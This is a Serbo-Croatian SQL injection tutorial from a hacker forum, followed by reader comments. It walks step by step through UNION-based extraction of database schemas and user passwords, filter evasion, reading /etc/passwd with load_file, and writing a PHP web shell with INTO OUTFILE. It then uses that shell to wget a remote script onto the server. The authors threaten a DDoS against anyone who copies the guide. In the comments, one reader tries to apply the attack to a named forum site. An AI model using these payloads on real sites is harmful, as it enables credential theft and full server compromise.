SQL Injection Tutorijal

Veoma dobar SQL Injection tutorijal za početnike.
[ SQL Injection Full Tutorijal ]
By TraXdata and fx0 @ ljuska.org(don’t touch fucking copyright)
Join us on irc.rizon.net #ljuskaGreetz to all Ljuska.org members.
[Table of content]
[0] Sto je SQLi?
[1] Kako provjeriti dali je sajt ranjiv na SQLi
[2] Saznati koliko ima kolona (Order by)
[3] Saznati preko koje kolone mozemo vaditi podatke (Union)
[4] Verzija MySQL-a i MySQL user
[5] Saznati ime tabela i kolona u tabelama iz baze
[6] Kako izvuci informacije iz tabele “users” i iz kolona “username” i “password”
[7] Zaobilazenje filtera
[8] Load_file i Into Outfile funkcije[8]Outro
[0] Sto je SQLi?
SQLi je vrsta napada na web aplikacije u kojoj napadac preoblikuje SQL upite kako bi izvukao podatke iz baze ili izmijenio sadrzaj baze.
[1] Kako provjeriti dali je sajt ranjiv na SQLi
Imamo adresu
https://sajt.com/index.php?id=123
i stranica se normalno otvorila. Da bi provjerili dal je ranjiva na SQLi na kraj adrese dodajemo +and+1=2–
Nakon toga adresa izgleda ovako:
https://sajt.com/index.php?id=123+and+1=2–
Ako se sadrzaj stranice promijenio, npr. nedostaje text, slika ili neki dio stranice, cestitam, upravo ste nasli SQLi ranjivost.
[2] Saznati koliko ima kolona (Order by)
Sljedece sto moramo uciniti je da saznamo koliko ima kolona. To cinimo pomocu order by naredbe.
https://sajt.com/index.php?id=123+order+by+1–
->Stranica se otvara normalno.Idemo dalje dok ne otkrijemo tocan broj kolona.
https://sajt.com/index.php?id=123+order+by+4–
->Jos uvijek se stranica otvara normalno.
https://sajt.com/index.php?id=123+order+by+5–
->Stranica se nije otvorila normalno , fali neki dio ili smo dobili error.Sada kada smo dobili error na 5, a na 4 je sve bilo normalno, znamo da postoje 4 kolone.
[3] Saznati preko koje kolone mozemo vaditi podatke (Union)
Za to cemo koristiti naredbu union.
https://sajt.com/index.php?id=123+union+select+all+1,2,3,4–
To bi trebalo izlistati neki broj od navedenih na sajtu. Ako ne izbaci probajte dodati (-) ispred broja id-a. To ce onda izgledati ovako.
https://sajt.com/index.php?id=-123+union+select+all+1,2,3,4–
[4] Verzija MySQL-a i MySQL user
Recimo da vam je vidljiva kolona 3 na sajtu i sad zelite da znate verziju MySQL-a da bi znali dali mozete da izvucete imena tabela i kolona iz tabela iz baze (vise o tome u sledecem postupku)
Nacin na koji mozete saznati to jeste sa veoma jednostavnim naredbama.version() – prikazuje verziju MySQL-a user() – Prikazuje ime korisnika MySQL-a database() – Prikazuje ime baze podataka.
Primer otkrivanja MySQL verzije:
https://sajt.com/index.php?id=-123+union+select+all+1,2,version(),4–
[5] Saznati ime tabela i kolona u tabelama iz baze
U slucaju MySQL 4(verzija) nije moguce izvuci imena tabela i imena nego se mora pogadjati i imena tabela i imena kolona iz tabele. Mozete probati razne tablice dok ne pogodite. Npr. admin,members,users,login
https://sajt.com/index.php?id=-123+union+select+all+1,2,3,4+from+admin–
Ako vrati normalno stranicu to znaci da postoji ta tablica , ako bude error nastavite pogadjati.
Najcesca imena kolona su username,user,password,user_name,user_password.
Od velike pomoci moze biti ako znate da na ranjivom sajtu ima forum, pa onda znamo koja je tabela za user-a i od kojih se kolona sastoji, osim ako je forum custom coded.
Kada nam je verzija MySQL-a 5(+) onda postoji information_schema. Information_schema je posebna baza koja sadrzi informacije (kao sto su tabele i kolone) o svim ostalim bazama za istog MySQL user-a.Ovako mozemo provjeriti gdje sve imamo pristup.
https://sajt.com/index.php?id=-123+union+select+all+1,2,schema_name,4+from+
information_schema.schemata–
Ovo nam vraca samo prvu bazu iz information_scheme. Mozemo koristiti komandu LIMIT kako bi vidjeli sve scheme. Tu istu komandu mozemo kasnije primjenjivat za sve ostalo, bilo to prikazivanje tablica, kolona ili izvlacenje podataka.
https://sajt.com/index.php?id=-123+union+select+all+1,2,schema_name,4+from+
information_schema.schemata+limit+0,1–
Ovo nam pokazuje prvu schemu. Ako hocemo da nam pokaze trecu (ako postoji) onda cemo staviti.
https://sajt.com/index.php?id=-123+union+select+all+1,2,schema_name,4+from+
information_schema.schemata+limit+2,1–
Laksi nacin za sve ovo je koristenje group_concat
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(schema_name),4+from+
information_schema.schemata–
Sada nam je prikazalo sve scheme, a takoder mozemo koristiti i concat.
https://sajt.com/index.php?id=-123+union+select+all+1,2,concat(schema_name),4+from+
information_schema.schemata–
Sada slijedi izvlacenje tablica iz information_scheme. To odradujemo preko information_scheme koja u sebi sadrzi tablicu tables sa popisom svih tabela.
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(table_name),4+from+
information_schema.tables–
Naravno, group_concat koristimo da bi dobili imena svih tabela. Kod ovog gore upita ne valja jedna stvar, a to je jer on vraca sve tabele dok nam neke nam nisu potrebne, npr. tabele od information_scheme. Ako hocemo da nam vrati tabele samo od trenutne baze to cemo ovako napraviti.
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(table_name),4+from+
information_schema.tables+where+table_schema=database()–
where govori sql-u da selektira samo one tabele od scheme koja je postavljena iza znaka jednakosti, a mi smo postavili funkciju database(). To znaci da ce nam upit vratit samo tabele iz trenutne scheme. Kada smo izvrsili taj upit, na ekranu dobivamo npr. tabelu users.
Kolone dobivamo iz information_schema.columns
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(column_name),4+from+
information_schema.columns+where+table_name=0x5573657273–
Recimo da nam izbacuje da imaju kolone username i password.
[Za napredne] Neki ce se zapitati kako sada izvaditi tabele iz neke druge scheme.Za primjer uzmimo da imamo schemu koja se zove sporedna. Podatke vadimo ovako:
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(table_name),4+from+
information_schema.tables+where+table_schema=’sporedna’–
U puno slucajeva izbacivat ce nam error jer su magic qoutes = on, pa ime scheme moramo hexat. Ja to radim pomocu ove stranice
https://www.easycalculation.com/ascii-hex.php
Samo unesemo string i ono izbaci hex vrijednost i ascii vrijednost koji cemo kasnije koristiti. hex vrijednost za string sporedna = 73706F7265646E61 , link sa hexanom schemom postaje
https://sajt.com/index.php?id=-123+union+select+all+1,2,group_concat(table_name),4+from+
information_schema.tables+where+table_schema=0x73706F7265646E61–
0x ubacujemo da bi server znao da pocinje hexani string. Takoder smo izbacili ‘ iz query-a. Ostalo je isto.
[6] Kako izvuci informacije iz tabele “users” i iz kolona “username” i “password”
Ovo je jedan od jednostavnijih delova
https://sajt.com/index.php?id=-123+union+select+all+1,2,username,4+from+Users–
…ce vam prikazati prvi username u tabeli
https://sajt.com/index.php?id=-123+union+select+all+1,2,password,4+from+Users–
…ce vam prikazati prvi password u tabeli
Mozete i vise kolona grupirati skupa pomocu group_concat ili concat.
https://sajt.com/index.php?id=-123+union+select+all+1,2,concat(username,char(58),password),4+from+Users–
…bi trebalo da vam izbaci u ovom obliku Admin:Password gde je Char(58) = : a moze se koristiti i 0x3a sto takoder predstavljat “:” .
[7] Zaobilazenje filtera
Recimo da skripta koja je ranjiva na SQLi blocka stringove union,all i select onda mozemo probati mijenjati slova iz malih u velika, pa bi nas query bio npr.
https://sajt.com/index.php?id=123+uNiOn+sEleCt+aLl+1,2,3,4–
Na nekim sajtovima iako union radi necete moci koristiti funkcije pa onda uradimo ovako.
https://sajt.com/index.php?id=123+union+select+all+1,2,unhex(hex(version())),4–
Negdje se blokira whitespace ili praznina , ako ju slucajno koristite skripta vam moze blockat i taj query pa mozete koristiti obicne comment taggove.
https://sajt.com/index.php?id=123/**/union/**/select/**/all/**/1,2,3,4–
/* > oznacava pocetak , a */ oznacava kraj komentara, php i sql se ne obaziru na njih.
[8] Load_file i Into Outfile funkcije
Evo malo objasnjenje za sta sluze ove dvije funkcije.
Quote:Load File: Reads the file and returns the file contents as a string.Into OutFile: Writes the selected rows to a file. The file is created on the server host, so you must have the file privilege to use this syntax. File to be written cannot be an existing file, which among other things prevents files (such as “/etc/passwd”) and database tables from being destroyed.(… from: MySQL.com)
Sa Load_file funkcijom mozemo procitati neke osjetljive file-ove , npr. /etc/passwd, neki config itd.Ako hocemo procitat sadrzaj /etc/passwd to cemo uciniti ovako.
https://sajt.com/index.php?id=-123+union+select+all+1,2,load_file(‘/etc/passwd’),4–
Ako nam vraca error ili nemamo dopustenje za load_file ili su magic qoutes = on , ako je 1. slucaj nema nam pomoci, a ako je drugi slucaj mozemo hexat path ili koristiti char() funkciju. Stranicu preko koje enkodiramo stringove sam vec dao malo iznad gore ali evo opet
https://www.easycalculation.com/ascii-hex.php
Hexano /etc/passwd = 2f6574632f706173737764. To ovako izgleda
https://sajt.com/index.php?id=-123+union+select+all+1,2,load_file(0x2f6574632f706173737764),4–
Stranica bi trebala sadrzavat sadrzaj /etc/passwd Ako hocemo koristiti char() funkciju onda za /etc/passwd uzimamo ASCII values./etc/passwd = 47 101 116 99 47 112 97 115 115 119 100 i to ovako izgleda
https://sajt.com/index.php?id=-123+union+select+all+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4–
Pomocu Into Outfile mozemo kreirati neki novi file. Da bi uspjesno koristili Into Outfile fuknciju magic qoutes moraju biti off, moramo imat file_priv i znati full path ako hocemo doci do php shella. Da bi vidjeli dali imamo file_priv mozemo probati zaviriti u mysql schemu, ako postoji.Recimo da smo koristili user() komandu i nas user je [email protected] izvrsavamo upit pomocu kojega cemo vidjeti dali user test ima file_priv.
https://sajt.com/index.php?id=-123+union+all+select+1,group_concat(user,0x3a,file_priv),3,4+from+mysql.user–
To ce nam izbacit nesto slicno ovome :root:Ytest:Y
Ako pored naseg usera pise Y to znaci da imamo file_priv.Full path cemo saznati tako da negdje na stranici izazovemo error. Tada ce nam se ispisati full path.Recimo da je nas path /home/test/public_html Po pitanje magic qoutes nemozemo nista , ako mozemo napraviti load_file bez hexanja to znaci da su magic qoutes off i sve je spremno.Jedan koristan Into Outfile query bi bio ovaj
https://sajt.com/index.php?id=-123+union+select+all+null,null,”<? system($_GET[‘cmd’]); ?>”,null+into+outfile+’/home/test/public_html/shell.php’–
Sve kolone zamijenimo sa null, a ona kolona pomocu koje smo izvlacili podatke unesemo php kod koji hocemo samo pod navodnicima. Poslije Into Outfile ide path + novi file koji ce se kreirati sa kodom i sve to pod single qoute.
Ovom file-u sad pristupamo tako sto idemo na
https://sajt.com/shell.php?cmd=wget web.com/skripta.txt;mv skripta.txt skripta.php
poslije cmd= ide neka komanda koju hocemo izvrsiti. Najcesce se koristi wget i curl kako bi se uploadao neki file. mv koristimo da bi preimenovali file u neku drugu ekstenziju, u ovom slucaju iz .txt u .phpNa nekim serverim je system funkcija disabled pa mozemo koristiti i exec, passtru ili neki drugi kod.Ako se nalazite u situaciji gdje nemozete dobiti path, a na neki nacin zelite izvuci odredene podatke iz baze to mozete takoder uciniti pomocu into outfile funkcije.Mozemo selektirati odredene kolone iz tabele i zapisati ih u neki file.To mozemo ovako napraviti.
https://sajt.com/index.php?id=-123+union+select+all+null,null,group_concat(username,0x3a,password),null+from+
Users+into+outfile+’/tmp/dump.txt’–
Ovo ce selektirat username i password iz users i zapisati ga u dump.txt. U nekim slucajevima moze biti korisno. Da bi pogledali taj file mozemo koristiti load_file funkciju koju sam povise objasnio./tmp direktorij je na linuxu chmod-an na 777 sto znaci da svatko moze pisati u njega.
Outro SQLi vulnovi se mogu naci na nekim jako cudnim mjestima , skripte za printanje ili download fileova jako cesto mogu biti ranjive.Nekad cete podatke morati vaditi iz headera , nekad ce biti u imenu file-a samo treba pazljivo pogledati jer uvijek postoji nacin.
Tutorial je pisan za Ljuska.org i svako kopiranje tutoriala bez copyrighta ce zavrsiti ddos-om na vasu stranicu.To bi bilo to , nadam se da ste naucili nesto , ako me ikad vidite platite pivu u znak zahvalnosti Sva pitanja mozete postaviti na pm ili na mail tr4xdata{at}live.com ili fx0{at}fx0.name
ne znam gde se prijavljuje u srbiji da je neki sajt hakovan al sad sam slucajno naiso na ovo
http://www.petrovaradinskatvrdjava.rs/
Izvini sto kasnim sa odgovorom, ostao sam bez racunara. Pa ne postoji nikakav sajt gde mozes da prijavis tako nesto, jednostavno kad administrator sajta ili hosting kompanija to vidi onda se to sredjuje. Postoji sajt koji sluzi za arhiviranje takvih stvari, tu se nalazi i sajt koji si ti video, nalaze se i podaci o “hakeru” itd. Link: http://zone-h.org/mirror/id/15512860
znam, proguglao sam “ime” hakera kad sam nasiso na ovaj sajt, pa mi je pokazao i taj tu sto si naveo :)
neko bi mogao da vodi evidenciju o tome koliko se nasi sajtovi “hakuju”…
slicno onom sajtu sto vodi evidenciju koliko politicari ispunjuju od svojih obecanja x)
Uglavnom nasi sajtovi koji su hakovani zavrse u zone-h.org arhivi. Ako otvoris sledeci link: http://www.zone-h.org/archive/filter=1/fulltext=1/domain=.rs dobices listu hakovanih sajtova na .rs domenu. A sto se tice sajta ne znam koliko bi se to nekom isplatilo (mislim na utroseno vreme). :-)
nije mi jasno kako owo da uradim jer nznm koji id da kucam
nije mi jasno kako owo da mi uspe jer meni se swe isto pojavljuje..ja kucam meni je adresa forum http://extra.square7.ch al nznm koji id da kucam kao sto ima u primeru